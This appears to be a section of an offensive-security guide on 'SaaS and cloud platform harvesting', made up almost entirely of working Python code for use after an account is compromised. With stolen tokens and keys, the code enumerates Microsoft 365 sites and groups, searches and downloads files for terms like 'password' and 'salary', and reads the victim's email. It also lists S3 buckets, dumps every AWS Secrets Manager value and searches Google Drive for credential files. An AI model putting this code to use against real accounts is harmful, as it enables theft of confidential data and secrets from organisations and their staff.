SaaS and cloud platform harvesting¶

import requests

headers = {'Authorization': f'Bearer {access_token}'}

# Microsoft Graph: what subscribed services are in scope?
r = requests.get('https://graph.microsoft.com/v1.0/subscribedSkus', headers=headers)
for sku in r.json().get('value', []):
    print(sku['skuPartNumber'])

# what roles does the current identity have?
r = requests.get('https://graph.microsoft.com/v1.0/me/memberOf', headers=headers)
for group in r.json().get('value', []):
    print(group.get('displayName'), group.get('mail'))

# enumerate all SharePoint sites
r = requests.get('https://graph.microsoft.com/v1.0/sites?search=*', headers=headers)
for site in r.json().get('value', []):
    print(site['id'], site['displayName'], site['webUrl'])

# list drives (document libraries) on a site
r = requests.get(f"https://graph.microsoft.com/v1.0/sites/{site_id}/drives",
                 headers=headers)

# search for keywords across all content accessible to the identity
search_terms = ['password', 'credentials', 'invoice', 'contract', 'salary', 'acquisition']
for term in search_terms:
    r = requests.get(
        f"https://graph.microsoft.com/v1.0/me/drive/root/search(q='{term}')",
        headers=headers)
    for item in r.json().get('value', []):
        print(term, item['name'], item.get('webUrl'))

# download a file from OneDrive
r = requests.get(
    f"https://graph.microsoft.com/v1.0/me/drive/items/{item_id}/content",
    headers=headers)
with open(item_name, 'wb') as f:
    f.write(r.content)

# read email from the compromised account
r = requests.get(
    'https://graph.microsoft.com/v1.0/me/messages'
    '?$select=subject,from,receivedDateTime,hasAttachments'
    '&$orderby=receivedDateTime desc&$top=50',
    headers=headers)
for msg in r.json().get('value', []):
    print(msg['receivedDateTime'], msg['from']['emailAddress']['address'], msg['subject'])

# search for emails with keywords
r = requests.get(
    "https://graph.microsoft.com/v1.0/me/messages?$search=\"password reset\"",
    headers=headers)

import boto3

# with stolen credentials
session = boto3.Session(
    aws_access_key_id=KEY_ID,
    aws_secret_access_key=SECRET,
    aws_session_token=SESSION_TOKEN)

# S3: list buckets and objects
s3 = session.client('s3')
for bucket in s3.list_buckets()['Buckets']:
    print('Bucket:', bucket['Name'])
    try:
        objs = s3.list_objects_v2(Bucket=bucket['Name']).get('Contents', [])
        for obj in objs:
            print(' ', obj['Key'], obj['Size'])
    except Exception:
        pass  # no access to this bucket

# Secrets Manager: list and retrieve secrets
sm = session.client('secretsmanager', region_name='eu-west-1')
for secret in sm.list_secrets()['SecretList']:
    print('Secret:', secret['Name'])
    try:
        value = sm.get_secret_value(SecretId=secret['Name'])
        print(' Value:', value.get('SecretString', '[binary]'))
    except Exception:
        pass

from googleapiclient.discovery import build
from google.oauth2.credentials import Credentials

creds = Credentials(token=ACCESS_TOKEN)
drive = build('drive', 'v3', credentials=creds)

# list files
results = drive.files().list(
    pageSize=100,
    fields="files(id, name, mimeType, size, modifiedTime)").execute()
for f in results.get('files', []):
    print(f['name'], f.get('mimeType'), f.get('size', 'N/A'))

# search for sensitive files
results = drive.files().list(
    q="name contains 'password' or name contains 'credentials' or fullText contains 'secret'",
    fields="files(id, name, webViewLink)").execute()